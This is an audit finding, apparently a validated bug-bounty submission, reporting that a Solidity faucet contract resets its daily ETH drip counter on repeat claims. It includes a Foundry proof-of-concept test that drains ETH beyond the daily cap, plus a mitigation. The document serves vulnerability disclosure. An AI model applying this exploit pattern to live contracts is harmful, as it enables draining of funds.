Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Daily claim limit bypass

Root + Impact

Description

  • The claimFaucetTokens() function is designed to track daily Sepolia ETH drips using the dailyDrips counter to enforce a dailySepEthCap limit, ensuring the contract doesn't distribute more ETH than intended per day.

  • When a user who has previously claimed ETH calls claimFaucetTokens() again (on a subsequent day after cooldown), the dailyDrips counter is incorrectly reset to 0 on line 212, completely breaking the daily ETH cap tracking mechanism and allowing unlimited ETH distribution beyond the intended cap.

function claimFaucetTokens() public {
// Checks
faucetClaimer = msg.sender;
// (lastClaimTime[faucetClaimer] == 0);
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (faucetClaimer == address(0) || faucetClaimer == address(this) || faucetClaimer == Ownable.owner()) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
// drip sepolia eth to first time claimers if supply hasn't ran out or sepolia drip not paused**
// still checks
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
// dailyClaimCount = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}

Risk

Likelihood: High

  • Every user who successfully claims ETH once will have hasClaimedEth[user] = true permanently, meaning every subsequent claim by that user triggers the vulnerability

  • The vulnerability activates automatically without requiring any special conditions or attacker knowledge - normal protocol usage triggers it

Impact: High

  • The dailySepEthCap becomes completely ineffective as the counter resets multiple times per day whenever returning users claim tokens

  • The contract's Sepolia ETH can be drained at a rate far exceeding the intended dailySepEthCap (default 1 ETH/day in deployment script, but effectively unlimited with this bug)

Proof of Concept

function testDailyEthCapBypassVulnerability() public {
// Setup: Contract has 1 ether, dailySepEthCap = 0.5 ether (from test setup)
// sepEthAmountToDrip = 0.005 ether
// Expected behavior: Only 100 users (0.5 / 0.005 = 100) should get ETH per day
assertEq(raiseBoxFaucet.dailySepEthCap(), 0.5 ether);
assertEq(raiseBoxFaucet.sepEthAmountToDrip(), 0.005 ether);
// Day 1: First 100 users claim successfully
address[100] memory users;
for (uint256 i = 0; i < 100; i++) {
users[i] = makeAddr(string(abi.encodePacked("user", i)));
vm.prank(users[i]);
raiseBoxFaucet.claimFaucetTokens();
assertEq(address(users[i]).balance, 0.005 ether, "User should receive ETH");
}
// At this point, dailyDrips should be 0.5 ether (100 * 0.005)
assertEq(raiseBoxFaucet.dailyDrips(), 0.5 ether, "Daily drips should equal cap");
// User 101 (first timer) should NOT receive ETH - cap reached
address user101 = makeAddr("user101");
vm.prank(user101);
raiseBoxFaucet.claimFaucetTokens();
assertEq(address(user101).balance, 0 ether, "User 101 should NOT receive ETH - cap reached");
// ====== VULNERABILITY EXPLOITATION ======
// User 0 claims again after cooldown (returning claimer)
advanceBlockTime(block.timestamp + 3 days);
vm.prank(users[0]);
raiseBoxFaucet.claimFaucetTokens(); // This triggers: dailyDrips = 0
// BUG: dailyDrips is now reset to 0 instead of maintaining 0.5 ether
assertEq(raiseBoxFaucet.dailyDrips(), 0, "VULN: dailyDrips incorrectly reset!");
// Now user 101 CAN claim ETH even though cap was already reached today
vm.prank(user101);
raiseBoxFaucet.claimFaucetTokens();
assertEq(address(user101).balance, 0.005 ether, "VULN: User 101 bypassed daily cap!");
// In fact, 100 MORE users can now claim because the counter was reset
address[100] memory moreUsers;
for (uint256 i = 0; i < 100; i++) {
moreUsers[i] = makeAddr(string(abi.encodePacked("extraUser", i)));
vm.prank(moreUsers[i]);
raiseBoxFaucet.claimFaucetTokens();
assertEq(address(moreUsers[i]).balance, 0.005 ether, "Extra users bypass cap");
}
// Total ETH distributed: 0.5 (first 100) + 0.005 (user101) + 0.5 (next 100) = 1.005 ether
// Expected: 0.5 ether per day
// Actual: 2x the intended cap was bypassed in a single day
}

PoC Explanation: This test demonstrates that after the daily cap is legitimately reached (100 users claiming 0.5 ETH total), a single returning user's claim incorrectly resets the dailyDrips counter to 0. This allows 100+ additional users to bypass the cap and claim ETH in the same day, resulting in 2x the intended daily distribution (1+ ETH instead of 0.5 ETH).

Recommended Mitigation

- } else {
- dailyDrips = 0;// Incorrectly resets counter for returning claimers
- }

Mitigation Explanation: Remove the else branch on line 212 that incorrectly resets dailyDrips to 0. The counter should only be reset when a new day begins (handled in lines 199-203 within the day check). Returning claimers (users with hasClaimedEth[user] = true) should not trigger any counter reset logic. This else branch serves no legitimate purpose and breaks the daily cap enforcement mechanism.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

dailyDrips Reset Bug

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!